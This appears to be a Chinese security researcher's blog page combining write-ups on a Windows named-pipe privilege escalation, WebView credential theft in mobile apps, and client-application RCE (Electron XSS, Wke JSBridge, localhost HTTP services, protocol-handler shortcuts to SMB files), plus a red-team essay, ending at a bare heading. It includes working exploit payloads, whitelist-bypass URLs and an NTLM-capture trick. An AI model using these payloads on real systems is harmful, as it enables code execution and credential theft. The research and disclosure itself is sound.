Chen's Blog

提权实录：通过命名管道劫持可写服务 前言

在分析某 Windows 应用的服务组件时，发现其创建的命名管道访问控制配置宽松，允许低权限用户连接并发送指令，从而触发高权限的终止任意进程操作（taskkill）。进一步分析发现，被终止的服务会自动重启，而其可执行文件的权限配置错误，允许 Everyone 组读写。结合这两个缺陷，可构造一条完整的本地提权利用链。

漏洞挖掘过程 命名管道 关于命名管道

命名管道（Named Pipe）是 Windows 操作系统提供的一种进程间通信（IPC）机制，允许不同进程（包括跨会话、跨权限级别）通过一个带名称的管道进行双向或单向数据交换。命名管道具有全局可见的名称（通常位于 \pipe\ 命名空间下，如 \\.\pipe\KeyServicePipe），支持多客户端连接，并可通过安全描述符（Security Descriptor） 设置访问控制列表（ACL），以限制哪些用户或组可以读取、写入或创建连接。

命名管道常被用作高权限服务与低权限客户端之间的通信通道。然而，若开发者未正确配置管道的 ACL（例如允许 Everyone 或 Authenticated Users 具有写权限），攻击者就可以作为客户端向服务端发送消息，从而使得服务执行敏感操作（如启动/终止进程、读取文件等），以此构成权限提升或远程代码执行的风险。

发现命名管道

发现命名管道及查看其对应的 ACL 策略可以借助 Sysinternals Suite 内的 pipelist 和 accesschk。这里 0cat 向我推荐了一款可视化友好的工具：Pipetap。通过查看 Pipelist 发现存在一个 ACL 策略为 Everyone 可写的命名管道：KeyServicePipe。

该命名管道对应的进程也是以 System 权限运行着，完全符合我们挖掘提权的条件。

进程终止逻辑

根据命名管道服务进程定位到其可执行文件，接着通过 IDA 进行一键导出反编译代码。配合着 AI 进行分析，很容易就定位到相关信息。

首先是入口接收到信息并根据不同的偏移量解析客户端所发送过来的消息，根据这些偏移量得知消息包含 2 个部分：消息头和消息体，消息头为 12 个字节。

其次是消息头的逻辑，我们可以看见其有三个部分，每个部分刚好 4 字节（DWORD）。三个部分分别为：会话 ID、消息类型、消息体长度。这些信息也是基于后续的调试输出所得知。读到消息类型后，会判断消息类型的范围必须在 1-37 之间。

最后就进入消息分发，根据不同的消息类型进行分发。不同的消息类型对应不同的处理逻辑，在这里实际上踩了个坑，正常跟进向下的逻辑 Map 寻找，而实际上在服务创建的构造函数内就已经定义好了：sub_424FF0(v5, 消息类型, 消息处理函数)。

关键问题逻辑就是其作为命名管道服务端有一个消息接收分发机制，根据消息类型来进行消息的分发。如图所示，当消息类型为 24 时则进入消息进入 sub_4216B0 函数处理。

在 sub_4216B0 函数内本质上就是获取消息体进行处理，最重要的就行消息体的 +4 字节偏移位，其为 PID（这里做了强转换，因此无法进行命令注入）。PID 首先用于 TASKLIST 命令进行命令查找。

只有当指定的 PID 进程存在时才会接着向下走，走到 TASKKILL 命令，根据 PID 强制关闭进程。至此，我们就发现了一条低权限进程通过命名管道以 System 权限进行 TASKKILL 任意进程的路径。

系统服务 关于系统服务

Windows 服务（Windows Service）是 Windows 操作系统中一种在后台持续运行的程序，无需用户交互即可执行特定任务。如果服务在配置时没有做好权限的 ACL 配置则会导致三类风险：可修改服务二进制文件、可修改服务注册表项、可修改服务本身，易被攻击者利用实现本地权限提升或恶意篡改服务配置与运行逻辑。

可修改服务二进制文件

这里直接借助 SharpUp 来进行一键分析：SharpUp.exe check ModifiableServiceBinaries。发现有很多服务的可执行文件是可以修改的，但是要配合攻击链路，就需要满足被 TASKKILL 强制终止进程后，还会自动重启的。这里测试出来发现 KeyAgent 服务满足这一逻辑。

利用链构建

利用链构建比较简单，先启动独立的线程不断的循环尝试将恶意文件 EvilAgent.exe 替换目标服务的合法可执行文件 KeyAgent.exe，同时作为客户端连接命名管道 \\.\pipe\KeyServicePipe 并发送构造好的 KillProcess 消息触发命名管道服务进程执行 TASKKILL 命令终止 KeyAgent.exe 进程，最后借助 KeyAgent.exe 服务自动重启特性加载恶意文件，完成本地权限提升的利用链构建。

EvilAgent.exe 是 SystemGap 项目里的 SystemGapAll。其同样也借助命名管道实现高低权限进程间的通信，低权限向高权限发送要执行的命令，高权限执行并把结果返回给低权限。

总结

本提权利用链的成功构建，关键在于命名管道访问控制配置不当与服务可执行文件权限配置错误这两个缺陷的组合利用，在实战过程中发现这也类似的问题也很多，是个值得关注的攻击面。最后，在此特别感谢 @倾旋 在漏洞挖掘过程中提供的协助。

黑盒视角下的 WebView 漏洞面探索 前言

本文主要记录了在移动端探索 WebView 组件漏洞的过程，采用黑盒视角，摒弃复杂繁琐的内部逻辑分析，专注于快速且直接的漏洞挖掘方法。由于笔者才疏学浅，因此本文难免会出现一些文笔不通或专业解释不到位的情况，还望多包涵及斧正。

WebView 组件 介绍

顾名思义，WebView 组件是用于在应用程序中嵌入和展示 Web 内容的系统组件。通过调用 WebView，开发者能够实现在自己的应用中直接渲染网页，这从某种程度上极大地简化了跨平台应用的开发流程。利用 WebView，开发者只需进行少量适配工作，即可将现有的 Web 应用无缝移植到移动应用环境中，显著提升了开发效率和灵活性。

场景

WebView 组件实际上无处不在。例如，在手机上打开一个商城 APP 时，展示的商品信息可能本质上就是通过 WebView 加载和渲染的网页。在这些实际应用场景中，用户通常不会察觉到 WebView 的存在，并且所有显示的信息可能都是由 APP 预先配置好的。

漏洞入口

要想让用户手机上的 APP 调用 WebView 组件对自定义页面进行渲染，方法主要分为两种：第一类是国内常见的二维码扫码，通过扫描一个指向网页链接的二维码，从而直接调用 WebView 加载特定网页；第二类是 APP 间的跳转调用，即 URL Scheme（在安卓上也称为 Deep Link），通过这种方式可以从一个 APP 直接跳转到另一个 APP 中的特定页面，而这个页面同样可能是通过 WebView 来渲染的。

二维码扫描

APP 上的二维码扫码功能通常作用于用户界面的左右上角，如果找不到的话则可以在 APP 的设置页面中找到“扫一扫”、“扫码”等字眼就可以打开相关功能。

URL Scheme 跳转

关于 URL Scheme，对于我来说就是老熟人了，在 2018 年的时候就在博客里浅浅的分享了一下，有兴趣可以看下：https://gh0st.cn/archives/2018-12-08/1。

这里简单说明下，URL Scheme 实际上是应用程序在操作系统层面注册的一种自定义协议格式，它允许 APP 定义特定的协议名，并在 APP 内定义路由和接收参数来完成某些功能，与我们所理解的 HTTP 协议形式的 URL 地址没有什么本质区别。当其他应用或浏览器尝试通过这种自定义协议发起请求时，系统能够识别并定位到相应的应用程序，然后传递所访问的功能路由和参数信息给该应用进行处理。

在 iOS 和 Android 上，对于 URL Scheme 的支持是不一样的，例如在 iOS 上的 Safari 浏览器的地址栏中直接输入 URL Scheme 则可以完成跳转调用。而 Android 默认浏览器下，用同样的方式则会提示找不到网页，因此想要调用 URL Scheme 就需要借助 JavaScript（location 跳转）或 HTML（a 标签 href 点击指向）的方式，在 iOS 上也可以用这种方式。

<a href="xapp://page?url=https://gh0st.cn">Click</a>

实战案例

基于以上所述的两种攻击入口，我发现了许多 APP 上的漏洞，可以通过 WebView 组件直接获取用户凭证。

WebView 访问

访问获取凭证是 WebView 组件漏洞面的最基本漏洞，通过扫描二维码或 URL Scheme 跳转调用 WebView 组件打开指定的 URL 地址，接着由于 APP 为设限或存在绕过的情况下，WebView 内访问指定的 URL 地址时会携带凭证信息。

为什么 WebView 内访问可以携带凭证？ 因为当前 APP 的设计架构采用 Native UI 与 WebView 相结合的方式，以兼顾性能体验与业务灵活性，支持更丰富的应用场景，因此在 APP 上进行登录后，APP 在 WebView 的应用场景下也会携带登录凭证。

二维码扫描

关于二维码扫描的方式比较简单找到入口，如上文所说在 APP 那找到对应功能点即可。以下图所示，图中所展示的案例就是最经典的二维码扫描入口进入 WebView 组件，访问时携带了凭证到达指定 URL 地址。（可以将 URL 地址设为 BurpSuite Collaborator 的地址或类似有 HTTP Log 记录的地址）

如图所示案例实际上有个细节，如二维码内容处打码的部分即为白名单域名，可以通过抓包或知道 APP 归属的域名方式获取该部分。很多 APP 使用 WebView 组件进行访问时，会判断当前访问的页面 URL 地址中的域名部分，有些 APP 在此处判断时比较宽松，例如判断域名是否包含某域名。因此可以通过一些格式对此进行绕过，如：http://白名单域名.HTTPLog.com、http://白名单域名@HTTPLog.com。

URL Scheme 跳转

URL Scheme 按常规逻辑需要通过工具查看 APP 所声明的信息，APK 格式就是文件内的 AndroidManifest.xml 文件，IPA 格式就是文件内的 Info.plist 文件。但是本文不做偏逆向/白盒侧的分享，从黑盒角度出发获取 URL Scheme。

为什么可以从黑盒出发获取 URL Scheme？ 还是回到 Native UI 与 WebView，因为 WebView 会去访问一些业务/功能页面，因此开发也会在 WebView 网站中去写入 APP 的 URL Scheme 信息，从而调起 APP 内的一些 Native 功能，因此只要可以进行抓包即可通过正则匹配的方式获取到完整的 URL Scheme 信息。

如下图所示案例逻辑为：

1. 通过笔者所开发的 HaE 工具配合 BurpSuite 进行抓包，规则就会获取到抓包过程中所出现的 URL Scheme 信息：xxx://clause/WebView?url=。
2. 得到该信息之后，将其中的 url 参数设为 HTTPLog 地址：xxx://clause/WebView?url=http://HTTPLog.com。
3. 在 iOS 环境下即可通过浏览器复制构建好的地址直接打开然后跳转到 APP 内的 WebView 访问界面。在 Android 环境下，则可以按上文中提到的 HTML 代码方式进行。
4. 最后在 HTTPLog 服务中即可查看是否获取到了凭证信息，如果没有也可以尝试绕过，与二维码扫描处的绕过逻辑是一样的。

JSBridge 获取 逻辑与发现

JSBridge 是一种在 App 中实现 JavaScript 与 Native 代码通信的技术方式，可以将 Web 页面中的 JavaScript 调用映射到原生功能中。很多 APP 在使用 JSBridge 映射 JavaScript 与 Native 方法时，未对调用来源的域（Origin）进行校验或白名单限制，导致任意网页或第三方脚本均可通过 JavaScript 直接调用注册的 Native 接口。

这些被注册的接口，可以是全局变量、方法、对象等类型。在 JavaScript 中全局实际上就是窗口对象 Window。也就意味着这些接口都会被注册到 Window 下面。因此，只要进入到 WebView 组件内就可以通过遍历 Window 全局对象的方式来找到被 APP 所注册的接口。

如下代码所示就是一个简易的 Window 全局对象遍历代码。它的缺点很明显，如图所示会将浏览器/组件自带的一些方法遍历出来，因此就需要加入输出过滤功能，从而帮助我们更方便的进行 APP 注册接口的寻找。

<body> </body> <script> Object.keys(window).forEach(key => { document.body.innerHTML += `<pre>${key}:${window[key]}</pre>`; }); </script> 凭证获取

依旧使用 HaE 的规则通过抓包的方式来获取到 WebView 的 URL Scheme 信息：xxx://promotion/web，有些 URL Scheme 信息需要分析业务 JavaScript 文件中的逻辑，如图所示在基础的 URL 信息上还有一个参数 url：xxx://promotion/web?url=。

如下图所示案例逻辑为：

1. 编写 A 标签跳转页面，用于指定 WebView 组件跳转页面：<a href="xxx://promotion/web?url=http://可信域名.attack.com/WebView/0.html">Click Me</a>。
2. 打开跳转页面点击 A 标签，调用起目标 APP 的 WebView 组件访问自动化遍历脚本页面，分析发现 czbInfo.getAppInfo 方法可以获取凭证。
3. 构建 JavaScript 外带代码用于验证凭证可以经过网络进行远程获取。

总结与思考

本文从黑盒测试的视角，梳理了针对移动端 WebView 组件的漏洞挖掘路径。但是 WebView 组件不仅仅是移动端的特有产物，随着类 CEF （Chromium嵌入式框架）/ 类 Electron 框架的出现，PC客户端也同样面临着 WebView 组件攻击风险。

抛出两个思考：除了获取凭证外是否存在其他更高维度的利用面？除了APP自身校验缺陷外是否存在系统层的校验不严格问题？

被忽视的暗面：客户端应用漏洞挖掘之旅 前言

在2023年12月15日，我有幸参加了由“字节跳动安全中心”举办的“安全范儿”沙龙活动。作为“中孚信息元亨实验室”的一员，我被邀请分享名为“被忽视的暗面：客户端应用漏洞挖掘之旅”的技术议题。

客户端应用漏洞是许多人在进行漏洞挖掘和安全测试时容易忽视的领域。随着技术的更迭和攻防手段的升级，客户端应用漏洞也逐渐出现在大众视野中（APT攻击、攻防赛事等等），在本次议题中，我们将重点关注PC侧的客户端应用程序，如即时通讯、远程服务、视频软件等应用，探索其中存在的漏洞和潜在的安全风险。

漏洞案例

漏洞案例的分析主要分为两类，一是常规风险的介绍和了解，二是RCE漏洞的挖掘思路和手法。

注意：以下漏洞案例均通过脱敏和细节上的处理。

常规风险篇

常规风险在这里我分为这几类：信息泄露、白利用、逻辑校验、缓冲区溢出。

信息泄漏

对于客户端的信息泄露，我一开始采用的方式就是基于IDA Strings进行敏感的字符串信息匹配，将HaE的规则转为Yara规则再通过FindCrypt3插件进行匹配。

实际效果没有那么好，仅有一些数据库的连接配置信息泄露，并且由于是基于IDA的也没有那么好的进行自动批量化发现。

我们可以借助Strings工具来快速的获取可执行文件的字符串内容，并通过正则或其他方式进行匹配。

白利用

白利用问题就老生常谈了，在红队的工作中也经常遇到，如DLL文件没有经过比对导致的劫持问题、带有签名的程序可以通过参数的方式执行任意命令。因此在这里就不过多的赘述了。

逻辑校验

很多客户端程序在对用户信息进行获取的时候会通过内存的方式，来获取用户的编号，从而基于此进一步来获取用户的信息。然而这种方式并不是完全可信的，我们可以通过CE来对内存进行修改，从而导致越权漏洞的产生。

这类问题很经典，在以往就有许多案例（wooyun-2015-0143395、wooyun-2014-048606），但现在仍然可以从一些主流的应用上发现到类似的安全问题。

缓冲区溢出

缓冲区溢出问题太多太多了，我们可以通过通过IDA插件VulFi定位脆弱点，很轻松的在一些客户端应用上找到堆、栈溢出问题。除此之外，也可以通过Boofuzz来对客户端应用开启的本地网络服务进行Fuzz，从而找到溢出问题。

除了本地网络服务以外，最经典的、利用最多的还是特定文件格式处理客户端，如常用的Word、Excel。我在实际挖掘的过程中找到了一些图片处理的客户端程序，它用于各种各样的图片处理，我们可以找一些比较不常见的图片格式，并且通过网盘资源找到一些样本文件，丢给GPT或IFFA来分析文件格式，并输出Pits脚本，通过Peach Fuzzer来进行Fuzz工作。

RCE篇

接着我们来到RCE篇，请注意这里的RCE并不是Pre Auth的，案例中提到的大多需要1 Click进行交互才能利用。但也不是绝对，如果一些客户端的网络服务端口是监听在0.0.0.0的，只要你与目标机器处于同一个网络，或该客户端是在服务器上使用的，也一样可以实现0 Click的效果。

Web类客户端

Web类客户端，我的定义是基于HTML、CSS、JS等Web前端技术所构建的客户端应用程序，如Electron这类CEF（浏览器嵌入式）框架开发的客户端应用，以及基于渲染引擎（如Wke）所开发的客户端应用。

某IM客户端应用

如下图所示，是一个即时通讯客户端应用，我在群名称重命名时发现了一个反射XSS漏洞，根据其目录结构我知道它是一个基于Electron开发的程序。

在Electron框架下，如果开发者在渲染页面时配置nodeIntegration为true，则说明我们可以在前端中使用Nodejs的语法，这就导致我们可以直接在前端使用如下Nodejs代码执行命令：

require('child_process').exec(...);

但是这个配置项在创建功能窗口时并没有开启：

所以，我们也就没办法通过XSS执行Nodejs的代码，但是根据当前的Electron的版本1.8.7去互联网检索，发现这个版本存在一个历史漏洞：CVE-2018-15685，而后进行相关验证，也无法成功。

但是我们在\resources\app\src\inject\preload.js文件中（这是预加载JS，也就表示这个文件在窗口创建后，页面创建前就执行了），发现了注册的全局变量：

window.ZxDesktop = ZxDesktop;

所以我们可以直接去调用这个全局变量，从而去使用其内部的定义的一些功能：

该全局变量实际上导出了很多其他模块及对应方法：

我们跟进File模块，就可以发现存在一个open函数：

跟进代码和测试之后，发现它就是文件打开函数，在Console下去调用，成功打开计算器：

接着看导出函数列表的其他项，发现存在两个文件保存的方法：

而它们所指向的都是另外一个模块的方法：

const Download = require('../download_extra/download.render.js');

跟进这个模块，发现实际上他们都来自同一个方法，只不过传递的参数isSelect有不同：

接着我们来完整的阅读下代码即可发现整个逻辑，首先根据你传递的参数来判断要调用NormalDownload（正常下载）还是ChunkDownload（分块下载），接着根据isSelect函数来判断调用save还是saveAs方法：

所以我们仍然需要跟进NormalDownload或ChunkDownload对应的代码，来查看它们这些方法的逻辑是什么，这里看了之后，两者代码的唯一区别就是分块，所以本文就以NormalDownload的save、saveAs方法去说明。

首先是saveAs方法，它会调用一个文件保存框，然后赋值调用retryStart方法：

而实际上retryStart方法内调用的是start方法，这个方法是用来进行请求下载的：

而后下载的文件实际上会保存在用户的数据目录下，save方法与saveAs方法的最大的不同就是没有这个文件保存框，所以我们当然选择使用save方法。

需要注意，在如上代码中save和saveAs的传递参数不一致，其实这不影响最终的处理，因为在一开始的对象创建时候就通过构造函数赋值了：

let downloader = new Download(file, config);

至此，我们就获得了文件下载的攻击路径，我们可以根据对应参数这样构建JS代码：

ZxDesktop.require("File").save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});

我们已经获得了文件下载的功能，攻击路径就很明显了：用户下载文件，打开文件。但是实际操作中，我们打开文件还缺少一个路径，并且在实际的测试中，默认情况下，下载的文件是会保存在应用的数据目录的null目录下。

而这个目录可能会被用户更改（用户名也没法获取），所以我们需要搭配一个点去获取路径，在这里找到了ZxDesktop的System模块：

它的导出列表中有两个属性：dbPath、userDataPath，它们的内容都是一样的，指向了用户的数据目录：

ZxDesktop.require("System").userDataPath

我们可以这样拼接，就有了下载文件的目录信息了：

ZxDesktop.require("System").userDataPath + "/null/test.txt"

当我们满足所有条件后，就可以构造完整的攻击代码了：

1.下载文件：

var a = ZxDesktop; var b = a.require("File"); b.save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});

2.拼接文件路径，打开文件：

b.open(a.require("System").userDataPath + "/null/test.txt");

3.最终Exploit：

"><svg onload='var a = ZxDesktop;var b = a.require("File");b.save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});b.open(a.require("System").dbPath + "/null/test.txt");'>

某运维平台客户端

在某运维平台客户端中，我们发现可以通过伪协议链接（xxx://webview/?url=http://xxxx）来达到端内任意页面加载，这也就表示我们可以执行任意JS代码。

根据加载的DLL文件得知，其所依赖的前端页面渲染是开源项目Wke。

在源代码wke/jsBind.cpp中，发现wkeJSBindFunction方法提供了JSBridge的功能，将JavaScript函数绑定到C++中一个本地函数。

基于IDA分析得知，目标应用使用了该方法将JS函数与C++函数进行了绑定。图下图所示，其将C++某个函数地址，与名为callprogram的JavaScript函数进行绑定，我们可以直接在JS代码中调用。

跟进对应的C++函数，我们发现它会通过wkeJSParam获取参数，再通过JSToTempStringW获取字符串形式的参数值，最终将两个参数带入ShellExecuteW函数执行。即最终执行的代码为：ShellExecuteW(0, "open", 参数1, 参数2, 0, 1)。

因此我们可以构建如下的Exploit代码，并通过伪协议的方式使目标可以打开包含Exp代码的网页：

<script>callprogram("C:/Windows/System32/cmd.exe", "/c calc");</script> 传统类客户端

传统类客户端，我的定义是基于C/C++写的一些传统应用，如VPN客户端、视频软件、远程控制软件等偏生活、日常类的应用。

某远程服务平台客户端

在拿到一个客户端程序时，第一步是安装，第二步则应该是先大致去了解该程序的一些目录结构、运行环境等信息，这样我们在接下来的漏洞挖掘中才会有更多的信息来进行关联，辅助我们挖掘漏洞。

如下图所示，安装完某远程服务平台客户端后，我通过火绒剑逐个查看对应的进程信息，在TCP/IP窗口中看见当前进程的网络通信或监听信息。如下图所示就是UserClient.exe进程当前的网络通信信息，我们可以看到它在本地监听了两个端口：38227、38230。

它的协议都是TCP，我们可以尝试使用HTTP的方式去访问，结果显示38230端口可以以HTTP协议的方式进行访问。

我们可以选取响应报文中的bangwo8client字符串在IDA的Strings窗口中进行搜索，通过这样的方式来进行逻辑的回溯。

双击进入字符串所在的.RDATA节，我们就可以看到该字符串对应的交叉引用，那么接下来我们的工作就是进入这些函数看具体实现是否对的上响应报文的主体内容。

我们进入一个函数查看，会发现在函数的头部代码中有如下这么一段内容，它的逻辑似乎就对应了HTTP响应报文的主体返回，通过字符串的对应我们能大致知道sub_487760函数的作用就是为了将字符串解析到JSON格式中，然后再通过其他函数拼接JSON的字段内容给到Block。

除了我们跟进的这个函数外其他的函数逻辑都大致一样，并且我们通过IDA插件CTO查看调用关系，发现这些函数最终都是被同一个函数sub_674090调用。

那我们再继续跟进函数sub_674090，函数的逻辑就是根据不同的URI进入不同的函数处理，也就表示着这里就是HTTP请求逻辑处理的入口位置。

有了请求处理逻辑的入口，接下来我们就要去看每个URI对应的处理逻辑是什么，看一下处理的逻辑中是否有参数值可控导致存在的相关漏洞。

如果你觉得这样去看很累，也可以基于敏感函数的调用链来对应每个URI的处理函数，如下图所示我就基于ShellExecuteA函数的调用链找到了URI/api_install的对应处理函数，也就表示当你访问URL：http://127.0.0.1:38230/api_install时很有可能就会触发ShellExecuteA函数。

那么我们可以跟进去看一下该处理函数，看看是否可以将可控参数值带入到ShellExecuteA函数里去执行。

在函数的一开始就判断运行当前程序的用户是否是system，如果不是的话则直接返回响应内容（状态码500）提示当前不是以SYSTEM权限运行的进程。

这里我们通过Process Hacker可以看到UserClient.exe进程对应的用户就是SYSTEM：

也就表示我们当前是满足这个条件的，所以可以接着看IF分支内的逻辑。在IF分支内就执行了ShellExecuteA函数，根据ShellExecuteA函数的使用语法我们知道它这是以v15作为参数执行v16程序，所以我们需要知道v15、v16这两个变量是如何赋值而来的。

具体的逻辑可以下图，我们找到赋值关系最终确认一切的参数来源都是Block，该值是一个全局变量，那么根据当前的环境我们就可以猜测此处的来源就是HTTP请求参数。

根据猜测，我们可以先使用OD附加进程在ShellExecuteA函数处下断点。

然后请求URL：http://127.0.0.1:38230/api_install?file=cmd.exe&param=/k%20notepad，我们就会在OD界面中看见端点到ShellExecuteA函数了，我们可以通过栈来看一下传参是什么。

如下所示我们发现ShellExecuteA函数的参数FileName和Parameters是一串乱码的内容，这应该是我们输入的字符串经过了某些处理后导致的。

因此我们可以在URI/api_install对应处理的函数起始位置下断点一步一步跟进看一下我们请求的参数值是否真的带进来了，如果带进来了为什么最终值会变成一段乱码的数据。

如下图OD中可以看见我们的请求参数file的值cmd.exe确实可以带进来，这也就验证了我们的猜想，ShellExecuteA函数的参数是来源于HTTP请求参数。

接着走下去我们会发现调用如下函数时的参数就是我们的请求参数file和对应值cmd.exe，当该函数执行完成之后返回到EAX寄存器，我们跟进EAX寄存器的地址查看数据就会发现数据为乱码内容，也就是我们在ShellExecuteA函数断点处看见的参数。

push esi push eax call UserClie.004203B0

所以我们可以跟进函数004203B0在IDA中看一下它具体做了什么，这样我们才能构造请求让真正的字符串带入到ShellExecuteA函数中执行。

在这之前我们需要注意，由于IDA和实际进程执行的基址不同，我们可以在OD中找到进程基址然后将IDA对应的基址修改为进程的，这样我们就可以直接跟进函数004203B0，而不需要再去进行地址的换算。

在IDA中跟进函数004203B0，它实际上也是调用的另外一个函数00370C70，在该函数里对字符串进行位移转换，猜测可能是自定义的解码方式。但是在它进行遍历的过程中使用到了一段数组数据word_74E940，我们跟进这个数据之后发现似乎是一张解码表。

如下将整段数据罗列出来，看着与Base64解码所需要的解码表是一致的，所以此处极有可能就是Base64解码操作，将我们的输入的字符串cmd.exe进行解码，最终就变成了乱码。

我们可以将cmd.exe字符串进行Base64解码，发现结果确实为我们之前所看到的乱码内容：

最终我们也就确定了这里的请求参数值是需要先进行Base64编码之后再带入请求的。因此我们可以构建出如下Exploit，当安装了该客户端的应用打开Exp代码对应页面时，即可以执行我们想要的命令。

<iframe src="http://127.0.0.1:38230/api_install?file=Y21kLmV4ZQ==&param=L2sgbm90ZXBhZA==" width="0px" height="0px">

某视频软件客户端

通过URLProtocolView找到视频软件客户端注册的伪协议：xxplayer://，通过字符串定位程序伪协议的处理功能点，也可以知道有哪些的伪协议路由。

发现这里可以通过xxplayer://action.cmd/xxx的方式来触发一些功能，所有功能列表如下所示：

xxplayer://action.cmd/playShareVideo xxplayer://action.cmd/play xxplayer://action.cmd/downloadvideo xxplayer://action.cmd/downloadpage xxplayer://action.cmd/downloadShareVideo xxplayer://action.cmd/createshortcut_url xxplayer://action.cmd/createshortcut xxplayer://action.cmd/activeHomepage

根据字面意思理解它的作用即可，这里我们一个一个带入请求尝试，发现当请求createshortcut_url时会在桌面创建.link的快捷方式文件。

我们跟进这个创建快捷方式的逻辑，发现实际上它还有两个参数：url、name：

然后将这两个参数值带入CreateUrlShortcut函数执行，这个函数是导入函数，就是用于创建桌面快捷方式的。

因此我们可以构建伪协议URL：xxplayer://action.cmd/createshortcut_url?url=http://www.baidu.com&name=Test，访问就发现它创建了一个名为Test的快捷方式，目标为：C:\xxplayer.exe \UrlQuickLunch=http://www.baidu.com,0，也就表示我们传入的url参数值变成了启动参数，name参数值变成了快捷方式名字。

当我们双击这个快捷方式时，就会调用浏览器打开http://www.baidu.com。

接着我们发现只要url参数值为xxx://xxx.xxx/的格式即可，那么我们尝试将url参数值修改为file://172.16.176.176/netntlm，也就变成这样：xxplayer://action.cmd/createshortcut_url?url=file://172.16.176.176/netntlm&name=123，在机器上responder监听一下，当打开快捷方式时收到了NTLM Hash：

除了获取NTLM Hash，我们还可以在Ubuntu上开一个SMB服务，然后将url参数设为使用\\172.16.176.176\share\Test.exe，使用快捷方式打开共享文件，发现确实可以打开EXE文件，但是会有文件信任的安全警告（Mark-of-the-Web）。

这里可以通过jar文件形式去绕过，打包一个打开计算器的Jar包放在共享目录下，然后将url参数设为使用\\172.16.176.176\share\1.jar。

访问xxplayer://action.cmd/createshortcut_url?url=\\172.16.176.225\share\1.jar&name=123，创建快捷方式，打开快捷方式，执行Jar包启动计算器，这样我们就实现了1 Click执行任意命令。

使用远程Jar包的方式来达到任意命令执行还是有局限性，如果目标机器不存在Java环境就无法执行，因此在对文件信任机制的研究发现在smb共享文件中打开zip压缩包内的bat文件，不会有任何弹窗提示直接执行bat文件内容。

因此我们可以在共享文件夹中创建1.zip，放入内容为calc的1.bat文件。

将url参数值设为\\172.16.176.225\share\1.zip\1.bat，然后访问xxplayer://action.cmd/createshortcut_url?url=\\172.16.176.225\share\1.zip\1.bat&name=123创建桌面快捷方式，打开快捷方式即可执行bat文件，最终达到不需要任何依赖的情况下执行任意命令。

总结

简单总结一下以上两类客户端的攻击入口、RCE风险和影响面。

关于客户端本地开启的网络协议问题，我总结出如下几步可以快速的进行漏洞发现:

1. 找到客户端启动的本地网络服务（TCP、UDP），这个可以用火绒剑或者CMD的方式查看；
2. 有本地监听的情况下，找到对应的程序以及加载的DLL，通过IDA根据端口号找到监听的点，如果是C/C++的程序一般找bind这个函数就能快速定位到；
3. 向上回溯找调用链，并根据网络服务的返回结果，例如HTTP访问会有一段字符串或者响应头的一些字符串，定位到代码处理逻辑；
4. 如果逻辑对应上了，那就接着找程序的导入表是否存在敏感的函数，例如：CreateProcess、WinExec、ShellExec，如果存在则可以向上回溯看看是否与网络服务监听点有联系；
5. 当条件都满足的时候就想尽办法，通过断点调试等操作，找传参或数据传输格式，看看可控内容是否可达敏感的函数处；
6. 根据代码逻辑构造PoC触发漏洞，并尝试武器化利用。

致谢

在文章的最后，我要感谢公司部门领导和同事对本议题的贡献和帮助（以下排名不分先后），感谢字节跳动安全中心对于本次沙龙的筹办和策划。

我眼中的红队

碎语闲谈，作为一名多年的十八线红队选手一直想写一篇文章来总结下“我眼中的红队”，之前写过一点，因文笔拙劣遂删除，起本文重写。

什么是红队

现如今是数字化时代，万物联网创造了一个新的空间，即网络空间，网络空间的安全也上升到了国家安全层面，并且网络已经成为国家继海、陆、空、天之后的第五大主权领域空间。

正是如此，网络空间也就如传统领域空间一样，需要通过演习对抗的模式，提升网络安全防御能力，以攻促防，知攻善防。

攻防双方在演习中通常称之为红队（Red Team）和蓝队（Blue Team），红队（Red Team）即攻击方，穷尽方法攻击以达到获取演习靶标权限的目的。

红队攻击流程

红队的攻击流程大致分为4个步骤，分别是制定战术、外网打点、内网横向、结果报告。

制定战术：根据演习规则及目标结合自身优点制定攻击战术，以保证演习过程不盲目、不混乱，有条不紊的完成演习；

外网打点：通过漏洞、供应链、社工、近源等手段对目标暴露面进行攻击，以此打开进入目标内网的入口；

内网横向：通过信息收集、分析、关联，结合相关漏洞及密码对内网可达网段机器进行横向攻击，以此发现更多脆弱点或接近内网的演习靶标；

结果报告：将红队攻击过程、所涉技术手段、攻击痕迹等信息进行整理，形成文档提交至演习平台，并且便于后续复盘。

红队成员结构

通常在攻防演习中，主办方都是要求现场红队成员有三位，按照我的理解这三位应该是：队长、渗透师、横向师。

队长：技术综合能力较强，具备较好的团队协作、组织、应变、沟通能力，能有条理的安排演习任务，并且在演习结果上报后有争议时与裁判进行沟通；

渗透师：前渗透能力较强，也就是侧重于信息收集、Web漏洞黑盒挖掘及代码审计能力，在拿到目标信息后能够快速的找到脆弱资产，撕开暴露面入口以供后渗透；

横向师：后渗透能力较强，也就是侧重于木马免杀、权限维持及漏洞利用能力，当具有暴露面入口时能够通过它对内网进行持续性的脆弱点发现。

当然，目标往往是美好的，现实却是残酷的，在演习中真正的红队成员都应该具备这三种能力，才能应对这万变的局面。

红队基础设施

红队的基础设施，我将其分为三大块：人员、武器库、漏洞库。

人员：万事皆以人为本，红队的基础设施也离不开人，优秀的伙伴可以让你在演习过程中更舒心，而人员通常是最难解决的，大部分都是通过外部招聘的形式引入技术人才，或培养初入职场的学生；

武器库：武器库在我的理解中，就是一切皆自动化或自主化，信息收集、邮件钓鱼、木马免杀的自动化，以及C2、Webshell管理工具的自主化，这都是最基础的一些；

漏洞库：漏洞库即0day、1day这些漏洞的利用，例如SQL注入不应只是注入，而是要结合SQL注入直接获取目标站点权限，无论你是结合SQL注入获取密码再进入后台进行文件上传获取权限，还是SQL注入直接堆叠执行命令获取权限，简而言之，漏洞只是开始，通过漏洞获取权限才是漏洞库所需要的，这也是大家通常所说的漏洞武器化。

红队结果复盘

在进行一场演习之后，红队应结合演习结果进行复盘，主要围绕这几个方面：演习结果的总结、红队成员的分工、演习过程的问题。

演习结果的总结：对演习上报的结果进行总结，梳理出攻击技术及相关路径；

红队成员的分工：明确每个成员的分工，并且结合成果来看分工的落实程度；

演习过程的问题：总结演习过程中发现的问题，找出问题产生的原因，有解决方案的提出解决方案，没有的就复盘会上进行交流。

某VPN客户端远程下载文件执行模拟逆向分析 前言

